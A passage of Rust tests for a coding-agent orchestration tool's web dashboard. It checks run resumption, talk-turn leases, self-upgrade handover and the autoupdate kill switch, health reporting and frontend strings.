13970 .contains("live daemon"),
13971 "correcting a run's merge underneath a running agent would race \
13972 whatever it is doing to the same `status`/`merge` fields"
13973 );
13974 }
13975
13976 #[tokio::test]
13981 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13982 let fx = Fixture::start().await;
13983 let runs = fx.runs();
13984 let id = "20260901-000000-unconfirmed";
13985 write_run(&runs, id, RunStatus::Blocked);
13986
13987 let res = fx
13988 .post(
13989 &format!("/api/runs/{id}/fold-merged"),
13990 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13991 )
13992 .await;
13993 assert_eq!(res.status, 400, "{}", res.body);
13994 assert_eq!(
13995 read_run(&runs, id).unwrap().status,
13996 RunStatus::Blocked,
13997 "a pull request that could not be confirmed merged must leave \
13998 the run exactly where it was"
13999 );
14000 }
14001
14002 #[tokio::test]
14003 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14004 let fx = Fixture::start().await;
14005 let runs = fx.runs();
14006
14007 for (status, word) in [
14013 (RunStatus::Merged, "merged"),
14014 (RunStatus::Ready, "ready"),
14015 (RunStatus::Failed, "failed"),
14016 ] {
14017 let id = format!("20260901-000000-{}", &word[..4]);
14018 write_run(&runs, &id, status);
14019 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14020 assert_eq!(res.status, 409, "{word} must not be resumable");
14021 let err = res.json()["error"].as_str().unwrap().to_owned();
14022 assert!(err.contains(word), "the refusal names the status: {err}");
14023 }
14024
14025 let mid = "20260901-000000-midf";
14030 write_run(&runs, mid, RunStatus::Reviewing);
14031 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14032 assert_eq!(res.status, 202, "an interrupted run is resumable");
14033 }
14034
14035 #[tokio::test]
14036 async fn resume_is_refused_while_the_loop_is_running() {
14037 let fx = Fixture::start().await;
14038 let runs = fx.runs();
14039 let stalled = "20260901-000000-stal";
14040 write_run(&runs, stalled, RunStatus::Stalled);
14041
14042 let mut beat = crate::daemon::Status::new();
14046 beat.current = vec![crate::daemon::Current {
14047 task: "20260901-000000-task".to_owned(),
14048 run: "20260901-000000-othr".to_owned(),
14049 }];
14050 beat.updated_at = jiff::Timestamp::now();
14051 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14052 .expect("publish a heartbeat");
14053
14054 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14055 assert_eq!(res.status, 409);
14056 let err = res.json()["error"].as_str().unwrap().to_owned();
14057 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14058 assert!(err.contains("stop it first"), "{err}");
14059 }
14060
14061 #[test]
14062 fn a_run_cannot_be_resumed_twice_at_once() {
14063 let home = TempDir::new().expect("temp home");
14064 let ui = Ui::new(
14065 Queue::at(home.path().join("queue")),
14066 Questions::at(home.path().join("questions")),
14067 Talks::at(home.path().join("talks")),
14068 home.path().join("runs"),
14069 home.path().to_path_buf(),
14070 PathBuf::from("/repo"),
14071 )
14072 .with_worktrees_root(home.path().join("wt"));
14073 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14074 let again = ui.begin_resume("20260901-000000-once");
14075 assert!(again.is_err(), "a second tap must not start a second graph");
14076 drop(first);
14077 assert!(
14078 ui.begin_resume("20260901-000000-once").is_ok(),
14079 "and the claim is released when the attempt ends"
14080 );
14081 }
14082
14083 #[test]
14084 fn talk_thinking_tracks_only_its_held_turn_claim() {
14085 let home = TempDir::new().expect("temp home");
14086 let ui = Ui::new(
14087 Queue::at(home.path().join("queue")),
14088 Questions::at(home.path().join("questions")),
14089 Talks::at(home.path().join("talks")),
14090 home.path().join("runs"),
14091 home.path().to_path_buf(),
14092 PathBuf::from("/repo"),
14093 )
14094 .with_worktrees_root(home.path().join("wt"));
14095 let id = "20260901-000000-once";
14096
14097 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14098 let turn = ui.begin_talk_turn(id).expect("claim turn");
14099 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14100 assert!(
14101 !ui.is_thinking("20260901-000000-other"),
14102 "one talk's turn does not make another talk busy"
14103 );
14104 drop(turn);
14105 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14106 }
14107
14108 #[test]
14109 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14110 let home = TempDir::new().expect("temp home");
14111 let talks = Talks::at(home.path().join("talks"));
14112 let ui = Ui::new(
14113 Queue::at(home.path().join("queue")),
14114 Questions::at(home.path().join("questions")),
14115 talks.clone(),
14116 home.path().join("runs"),
14117 home.path().to_path_buf(),
14118 PathBuf::from("/repo"),
14119 )
14120 .with_worktrees_root(home.path().join("wt"));
14121 let id = "20260901-000000-cross";
14122
14123 let other = Talks::at(home.path().join("talks"))
14124 .claim_turn(id)
14125 .expect("claim")
14126 .expect("the other process wins");
14127 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14128 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14129 assert!(
14130 matches!(
14131 ui.begin_talk_turn_unless_pending(id).expect("start"),
14132 TalkTurnStart::Foreign
14133 ),
14134 "a foreign holder is refused, not queued behind"
14135 );
14136 assert!(
14137 !ui.talk_turns.lock().unwrap().live.contains(id),
14138 "a refused claim leaves no in-process entry behind"
14139 );
14140 drop(other);
14141 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14142 assert!(talks.turn_held(id), "the web turn holds the lease");
14143 drop(turn);
14144 assert!(
14145 !talks.turn_held(id),
14146 "dropping the guard releases the lease"
14147 );
14148 }
14149
14150 #[tokio::test]
14151 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14152 let fx = Fixture::start().await;
14153 let mut beat = crate::daemon::Status::new();
14157 beat.pid = 4321;
14158 beat.updated_at = jiff::Timestamp::now();
14159 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14160 .expect("publish a heartbeat");
14161
14162 let res = fx.post("/api/upgrade", None).await;
14163 assert_eq!(res.status, 409);
14164 let err = res.json()["error"].as_str().unwrap().to_owned();
14165 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14166 assert!(err.contains("old one against the same queue"), "{err}");
14167 }
14168
14169 #[test]
14176 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14177 assert!(!should_spawn_recheck(&crate::config::Update {
14178 mode: UpdateMode::Off,
14179 interval: None,
14180 }));
14181
14182 unsafe {
14185 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14186 }
14187 let killed = should_spawn_recheck(&crate::config::Update {
14188 mode: UpdateMode::Notify,
14189 interval: None,
14190 });
14191 unsafe {
14192 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14193 }
14194 assert!(
14195 !killed,
14196 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14197 one-time startup check"
14198 );
14199
14200 assert!(should_spawn_recheck(&crate::config::Update {
14201 mode: UpdateMode::Notify,
14202 interval: None,
14203 }));
14204 }
14205
14206 #[test]
14212 fn recheck_poll_period_tracks_a_short_configured_interval() {
14213 let short = crate::config::Update {
14214 mode: UpdateMode::Notify,
14215 interval: Some("1m".to_owned()),
14216 };
14217 let period = recheck_poll_period(&short);
14218 assert!(
14219 period <= Duration::from_secs(30),
14220 "a one-minute interval must wake the task far sooner than the \
14221 default ceiling, or the deck would not notice within the \
14222 interval the operator configured: got {period:?}"
14223 );
14224
14225 let default = crate::config::Update {
14226 mode: UpdateMode::Notify,
14227 interval: None,
14228 };
14229 assert_eq!(
14230 recheck_poll_period(&default),
14231 UPDATE_RECHECK_POLL_MAX,
14232 "the default day-long interval should poll at the (capped) \
14233 ceiling rather than needlessly often"
14234 );
14235 }
14236
14237 #[test]
14245 fn recheck_skips_the_network_before_the_interval_elapses() {
14246 let dir = TempDir::new().expect("temp dir");
14247 let path = dir.path().join("state.json");
14248 let state = kaishin::UpdateCheckState {
14249 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14250 last_known_latest: None,
14251 last_known_url: None,
14252 };
14253 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14254
14255 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14256 assert!(
14257 !update_recheck_due(&checker, None),
14258 "a check made moments ago must not be repeated before the \
14259 configured interval elapses"
14260 );
14261 }
14262
14263 #[test]
14269 fn recheck_defers_to_an_upgrade_already_in_flight() {
14270 let dir = TempDir::new().expect("temp dir");
14271 let path = dir.path().join("state.json");
14272 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14273 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14274
14275 assert!(
14276 !update_recheck_due(&checker, Some(&progress)),
14277 "a recheck must not run while an upgrade this deck started is \
14278 still moving"
14279 );
14280 }
14281
14282 #[tokio::test]
14283 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14284 unsafe {
14296 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14297 }
14298 let fx = Fixture::start().await;
14299 let res = fx.post("/api/upgrade", None).await;
14300 unsafe {
14301 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14302 }
14303 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14304 let body = res.json();
14305 assert!(body["to"].is_null(), "there was no release to move to");
14306 assert!(body["parked"].is_null(), "and nothing was parked");
14307 assert!(
14308 body["detail"]
14309 .as_str()
14310 .unwrap()
14311 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14312 "{body:?}"
14313 );
14314 }
14315
14316 #[tokio::test]
14317 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14318 let repo = TempDir::new().expect("repo dir");
14334 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14335 .expect("write magi.toml");
14336 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14337
14338 let res = fx.post("/api/upgrade", None).await;
14344 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14345 let body = res.json();
14346 assert!(body["to"].is_null(), "there was no release to move to");
14347 assert!(body["parked"].is_null(), "and nothing was parked");
14348 assert!(
14349 body["detail"]
14350 .as_str()
14351 .unwrap()
14352 .contains("nothing restarted"),
14353 "{body:?}"
14354 );
14355 }
14356
14357 #[tokio::test]
14358 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14359 let repo = TempDir::new().expect("repo dir");
14364 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14365 .expect("write magi.toml");
14366 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14367
14368 let health = fx.get("/api/health").await.json();
14369 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14370 assert_eq!(
14371 health["update"]["available"], false,
14372 "checking is off, which reads as \"unknown\", not \"none\""
14373 );
14374 assert!(health["update"]["to"].is_null());
14375 assert!(
14376 health["upgrade"].is_null(),
14377 "nothing has ever asked this deck to upgrade"
14378 );
14379 }
14380
14381 #[tokio::test]
14382 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14383 let fx = Fixture::start().await;
14384 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14385
14386 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14387 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14388 progress.advance(crate::updater::Stage::Parking);
14389 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14390
14391 let health = fx.get("/api/health").await.json();
14392 assert_eq!(health["upgrade"]["stage"], "parking");
14393 assert_eq!(health["upgrade"]["from"], "0.5.1");
14394 assert_eq!(health["upgrade"]["to"], "0.5.2");
14395 let waiting_on = health["upgrade"]["waiting_on"]
14396 .as_str()
14397 .expect("waiting_on is set while parking a known run");
14398 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14399 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14400 }
14401
14402 #[tokio::test]
14403 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14404 let fx = Fixture::start().await;
14405 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14406 progress.advance(crate::updater::Stage::Done);
14407 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14408
14409 let health = fx.get("/api/health").await.json();
14410 assert_eq!(health["upgrade"]["stage"], "done");
14411 assert!(
14412 health["upgrade"]["waiting_on"].is_null(),
14413 "nothing to wait on once it is done"
14414 );
14415 }
14416
14417 #[tokio::test]
14418 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14419 let home = TempDir::new().expect("temp home");
14420 let runs = home.path().join("runs");
14421 std::fs::create_dir_all(&runs).expect("runs dir");
14422 let ui = Ui::new(
14423 Queue::at(home.path().join("queue")),
14424 Questions::at(home.path().join("questions")),
14425 Talks::at(home.path().join("talks")),
14426 runs,
14427 home.path().to_path_buf(),
14428 PathBuf::from("/repo/magi"),
14429 )
14430 .with_launch(launch_idle);
14431 let looping = ui.looping();
14432 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14433 .await
14434 .expect("bind loopback");
14435 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14436
14437 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14438 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14439
14440 hand_over(home.path(), &looping, served, |_| Ok(1))
14441 .await
14442 .expect("hand over");
14443
14444 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14445 assert_eq!(
14446 after.stage,
14447 crate::updater::Stage::Restarting,
14448 "hand_over owns the record through parking and up to restarting; \
14449 the successor is what finishes it"
14450 );
14451 }
14452
14453 #[tokio::test]
14456 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14457 for fail in [false, true] {
14458 let home = TempDir::new().expect("temp home");
14459 let ui = idle_ui(&home);
14460 let looping = ui.looping();
14461 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14462 .await
14463 .expect("bind loopback");
14464 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14465 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14466 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14467
14468 let calls = std::sync::atomic::AtomicUsize::new(0);
14469 let outcome = hand_over(home.path(), &looping, served, |_| {
14470 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14471 if fail {
14472 anyhow::bail!("no exec")
14473 } else {
14474 Ok(4242)
14475 }
14476 })
14477 .await;
14478 assert_eq!(outcome.is_err(), fail);
14479 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14480
14481 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14482 .expect("upgrade.log is written under the home");
14483 for step in [
14484 "entered",
14485 "finish_loop",
14486 "listener released",
14487 "starting the successor",
14488 ] {
14489 assert!(log.contains(step), "missing `{step}` in:\n{log}");
14490 }
14491 assert!(
14492 log.contains(if fail { "did not start" } else { "pid 4242" }),
14493 "{log}"
14494 );
14495 }
14496 }
14497
14498 #[tokio::test]
14501 async fn the_handover_signal_wakes_one_waiter_once() {
14502 let signal = Notify::new();
14503 signal.notify_one();
14505 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14506 .await
14507 .expect("an early signal is still seen");
14508 assert!(
14510 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14511 .await
14512 .is_err(),
14513 "a consumed signal must not wake a second time"
14514 );
14515 let signal = std::sync::Arc::new(signal);
14517 let waiter = tokio::spawn({
14518 let signal = std::sync::Arc::clone(&signal);
14519 async move { wait_for_handover(&signal).await }
14520 });
14521 tokio::time::sleep(Duration::from_millis(20)).await;
14522 assert!(!waiter.is_finished(), "nothing was signalled yet");
14523 signal.notify_one();
14524 tokio::time::timeout(Duration::from_secs(5), waiter)
14525 .await
14526 .expect("a late signal wakes the waiter")
14527 .expect("join");
14528 }
14529
14530 #[tokio::test]
14531 async fn health_says_how_long_a_handover_has_been_stuck() {
14532 let fx = Fixture::start().await;
14533 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14534 progress.advance(crate::updater::Stage::Replaced);
14535 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14536 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14537
14538 let health = fx.get("/api/health").await.json();
14539 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14540 assert!(stuck >= 600, "{stuck}");
14541 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14542 }
14543
14544 fn idle_ui(home: &TempDir) -> Ui {
14545 let runs = home.path().join("runs");
14546 std::fs::create_dir_all(&runs).expect("runs dir");
14547 Ui::new(
14548 Queue::at(home.path().join("queue")),
14549 Questions::at(home.path().join("questions")),
14550 Talks::at(home.path().join("talks")),
14551 runs,
14552 home.path().to_path_buf(),
14553 PathBuf::from("/repo/magi"),
14554 )
14555 .with_launch(launch_idle)
14556 }
14557
14558 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14560 let looping = ui.looping();
14561 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14562 .await
14563 .expect("bind loopback");
14564 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14565 let told = std::sync::Mutex::new(None);
14566 hand_over(home.path(), &looping, served, |resume| {
14567 *told.lock().unwrap() = Some(resume);
14568 Ok(1)
14569 })
14570 .await
14571 .expect("hand over");
14572 told.into_inner().unwrap().expect("successor was started")
14573 }
14574
14575 #[tokio::test]
14576 async fn a_running_loop_is_resumed_by_the_successor() {
14577 let home = TempDir::new().expect("temp home");
14578 let ui = idle_ui(&home);
14579 ui.start_loop(None).expect("start");
14580 ui.park_for_upgrade().expect("park");
14581 for _ in 0..500 {
14583 if !ui.loop_view(None).running {
14584 break;
14585 }
14586 tokio::time::sleep(Duration::from_millis(2)).await;
14587 }
14588 assert!(handed_over(&home, ui).await, "a running loop must resume");
14589
14590 let successor = idle_ui(&home);
14591 assert!(!successor.loop_view(None).running);
14592 assert!(successor.resume_after_handover(true));
14593 assert!(successor.loop_view(None).running);
14594 successor.stop_loop(None, false).expect("stop");
14595 }
14596
14597 #[tokio::test]
14598 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14599 let home = TempDir::new().expect("temp home");
14600 let ui = idle_ui(&home);
14601 ui.start_loop(None).expect("start");
14602 ui.park_for_upgrade().expect("first park");
14603 ui.park_for_upgrade().expect("second park");
14604 assert!(handed_over(&home, ui).await);
14605 }
14606
14607 #[tokio::test]
14608 async fn a_stop_during_the_handover_wait_is_honoured() {
14609 let home = TempDir::new().expect("temp home");
14610 let ui = idle_ui(&home);
14611 ui.start_loop(None).expect("start");
14612 ui.park_for_upgrade().expect("park");
14613 ui.stop_loop(None, false).expect("stop");
14614 assert!(!handed_over(&home, ui).await);
14615 }
14616
14617 #[tokio::test]
14618 async fn an_idle_loop_stays_stopped_across_the_handover() {
14619 let home = TempDir::new().expect("temp home");
14620 let ui = idle_ui(&home);
14621 ui.park_for_upgrade().expect("park");
14622 assert!(!handed_over(&home, ui).await);
14623
14624 let successor = idle_ui(&home);
14625 assert!(!successor.resume_after_handover(false));
14626 assert!(!successor.loop_view(None).running);
14627 }
14628
14629 #[tokio::test]
14630 async fn a_loop_the_operator_stopped_is_not_resumed() {
14631 let home = TempDir::new().expect("temp home");
14632 let ui = idle_ui(&home);
14633 ui.start_loop(None).expect("start");
14634 ui.stop_loop(None, false).expect("stop");
14635 ui.park_for_upgrade().expect("park");
14636 assert!(!handed_over(&home, ui).await);
14637 }
14638
14639 #[test]
14640 fn only_an_explicit_one_requests_a_resume() {
14641 assert!(!resume_requested(None));
14642 assert!(!resume_requested(Some("0".into())));
14643 assert!(!resume_requested(Some("".into())));
14644 assert!(resume_requested(Some("1".into())));
14645 }
14646
14647 #[test]
14648 fn the_upgrade_button_arms_before_it_restarts_anything() {
14649 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14652 assert!(APP_JS.contains("Replace the binary and restart?"));
14653 assert!(APP_JS.contains("function confirmed("));
14654 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14659 assert!(
14663 APP_JS.contains("Parking, then restarting"),
14664 "the button says what it is waiting for"
14665 );
14666 assert!(APP_JS.contains("if (!out.to)"));
14669 }
14670
14671 #[test]
14672 fn stopping_the_loop_arms_but_starting_does_not() {
14673 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14676 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14677 assert!(APP_JS.contains("confirmed(button, question)"));
14678 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14681 assert!(APP_JS.contains("const label = btn.textContent;"));
14682 assert!(!APP_JS.contains("Neither direction is guarded"));
14683 }
14684
14685 #[test]
14686 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14687 assert!(
14688 APP_JS.contains("state.health.version"),
14689 "the operator wants to know what is running even with nothing newer"
14690 );
14691 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14692 }
14693
14694 #[test]
14695 fn the_upgrade_button_names_its_destination() {
14696 assert!(
14697 APP_JS.contains("`Update to ${update.to}`"),
14698 "pressing the button should not be a surprise about what it moves to"
14699 );
14700 }
14701
14702 #[test]
14703 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14704 for stage in ["downloading", "replaced", "parking", "restarting"] {
14705 assert!(
14706 APP_JS.contains(&format!("\"{stage}\"")),
14707 "the phone must be able to tell {stage} apart from the others"
14708 );
14709 }
14710 assert!(APP_JS.contains(".waiting_on"));
14711 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14716 assert!(APP_JS.contains("reconnects on its own"));
14717 }
14718
14719 #[test]
14720 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14721 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14730 ..APP_JS.find("function upgrade(").expect("upgrade")];
14731 assert!(
14732 !body.contains(
14733 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14734 ),
14735 "a failed upgrade must not take the whole strip over the way it used to"
14736 );
14737 assert!(
14738 body.contains("upgradeFailNote"),
14739 "the failure has to reach the loop's own note instead"
14740 );
14741 assert_eq!(
14745 body.matches("upgradeFailNote].filter(Boolean).join")
14746 .count(),
14747 2,
14748 "both loop-why writers (quiet and control) must fold the note in"
14749 );
14750 }
14751
14752 #[test]
14753 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14754 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14757 assert!(APP_JS.contains("function upgradeOverdue("));
14758 }
14759
14760 #[test]
14761 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14762 assert!(
14763 APP_JS.contains("Updated to ${upgradeInfo.to"),
14764 "the operator who asked for the restart wants to know it worked"
14765 );
14766 }
14767
14768 #[test]
14769 fn an_error_is_visible_from_where_the_button_is() {
14770 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14775 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14776 assert!(
14777 alert.contains("position: fixed"),
14778 "an error about the thing under your thumb has to be visible from \
14779 where your thumb is: {alert}"
14780 );
14781 assert!(
14782 alert.contains("z-index: 25"),
14783 "above the dock (20) and the run-actions FAB (15), so neither \
14784 buries it: {alert}"
14785 );
14786 assert!(
14787 alert.contains("var(--tap)"),
14788 "and clear of the dock and the home indicator: {alert}"
14789 );
14790 assert!(
14793 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14794 "the FAB's column stays free: {alert}"
14795 );
14796 }
14797
14798 #[tokio::test]
14799 async fn an_older_attempt_says_what_replaced_it() {
14800 let fx = Fixture::start().await;
14801 let q = fx.queue();
14802 let runs = fx.runs();
14803 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14804 write_run(&runs, first, RunStatus::Stalled);
14805 write_run(&runs, second, RunStatus::Blocked);
14806
14807 let mut t = Task::new(
14808 "one task".to_owned(),
14809 "do it".to_owned(),
14810 PathBuf::from("/repo"),
14811 Source::Human,
14812 );
14813 t.runs = vec![first.to_owned(), second.to_owned()];
14814 q.put(&mut t).expect("put");
14815
14816 let rows = fx.get("/api/runs").await.json();
14820 let by = |short: &str| -> Value {
14821 rows.as_array()
14822 .unwrap()
14823 .iter()
14824 .find(|r| r["short"] == short)
14825 .cloned()
14826 .unwrap_or(Value::Null)
14827 };
14828 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14829 assert!(
14830 by("bbbb")["superseded_by"].is_null(),
14831 "the latest attempt is not superseded by anything"
14832 );
14833 assert!(APP_JS.contains("run.superseded_by"));
14835 assert!(APP_JS.contains("Superseded by"));
14836 }
14837
14838 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14839 let mut t = Task::new(
14840 "one task".to_owned(),
14841 "do it".to_owned(),
14842 PathBuf::from("/repo"),
14843 Source::Human,
14844 );
14845 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14846 t.status = status;
14847 t
14848 }
14849
14850 #[test]
14851 fn source_link_picks_the_page_that_filed_the_task() {
14852 let agent = |node: &str| Source::Agent {
14853 run: "20260904-014455-ab12".to_owned(),
14854 node: node.to_owned(),
14855 };
14856 let chat = source_link(&agent("chat")).expect("chat link");
14857 assert_eq!(chat.kind, "chat");
14858 assert_eq!(chat.id, "20260904-014455-ab12");
14859 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14860 let run = source_link(&agent("implement")).expect("run link");
14861 assert_eq!(
14862 (run.kind, run.href.as_str()),
14863 ("run", "#/runs/20260904-014455-ab12")
14864 );
14865 assert_eq!(source_link(&Source::Human), None);
14866 assert_eq!(
14867 source_link(&Source::Issue {
14868 number: 3,
14869 repo: "o/r".to_owned()
14870 }),
14871 None
14872 );
14873 let odd = source_link(&Source::Agent {
14874 run: "a b/c".to_owned(),
14875 node: "chat".to_owned(),
14876 })
14877 .expect("link");
14878 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14879 }
14880
14881 #[test]
14882 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14883 assert!(
14884 !APP_JS.contains("src.node === \"chat\""),
14885 "inline href rule is back"
14886 );
14887 assert!(
14888 APP_JS.matches("sourceLinkOf(").count() >= 4,
14889 "helper must serve every page"
14890 );
14891 assert!(
14892 APP_JS.matches("openChatLink(").count() >= 3,
14893 "the run page still needs its explicit chat link"
14894 );
14895 assert!(
14896 !APP_JS.contains("const openChat = el("),
14897 "the Queue card duplicates its source label link again"
14898 );
14899 assert!(
14900 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14901 "the task page must link a chat source label too"
14902 );
14903 }
14904
14905 #[test]
14906 fn task_ref_carries_the_source_link_for_a_chat_task() {
14907 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14908 t.source = Source::Agent {
14909 run: "20260904-014455-ab12".to_owned(),
14910 node: "chat".to_owned(),
14911 };
14912 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14913 let v = serde_json::to_value(&out).expect("json");
14914 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14915 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14916 assert_eq!(v["source_label"], t.source.label());
14917
14918 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14919 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14920 .expect("json");
14921 assert!(v["source_link"].is_null(), "{v}");
14922 }
14923
14924 #[test]
14925 fn task_view_serializes_source_link() {
14926 let mut t = Task::new(
14927 "t".to_owned(),
14928 "t".to_owned(),
14929 PathBuf::from("/repo"),
14930 Source::Agent {
14931 run: "20260901-000000-aaaa".to_owned(),
14932 node: "implement".to_owned(),
14933 },
14934 );
14935 t.runs.clear();
14936 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14937 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14938 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14939 }
14940
14941 #[tokio::test]
14942 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14943 let fx = Fixture::start().await;
14944 let runs = fx.runs();
14945 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14946 write_run(&runs, old, RunStatus::Blocked);
14947 write_run(&runs, new, RunStatus::Merged);
14948 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14949 fx.queue().put(&mut t).expect("put");
14950
14951 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14952 let task = &view["task"];
14953 assert_eq!(task["status"], "done");
14954 assert_eq!(task["is_latest"], false);
14955 assert_eq!(task["latest"]["short"], "bbbb");
14956 assert_eq!(task["finished_by"]["id"], new);
14957 assert_eq!(task["finished_by"]["outcome"], "merged");
14958 assert_eq!(task["closed_by_hand"], false);
14959 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14960 assert!(APP_JS.contains("finished_by"));
14961 assert!(APP_JS.contains("superseded by run"));
14962 }
14963
14964 #[tokio::test]
14965 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14966 let fx = Fixture::start().await;
14967 let runs = fx.runs();
14968 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14969 write_run(&runs, old, RunStatus::Stalled);
14970 write_run(&runs, new, RunStatus::Blocked);
14971 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14972 fx.queue().put(&mut t).expect("put");
14973
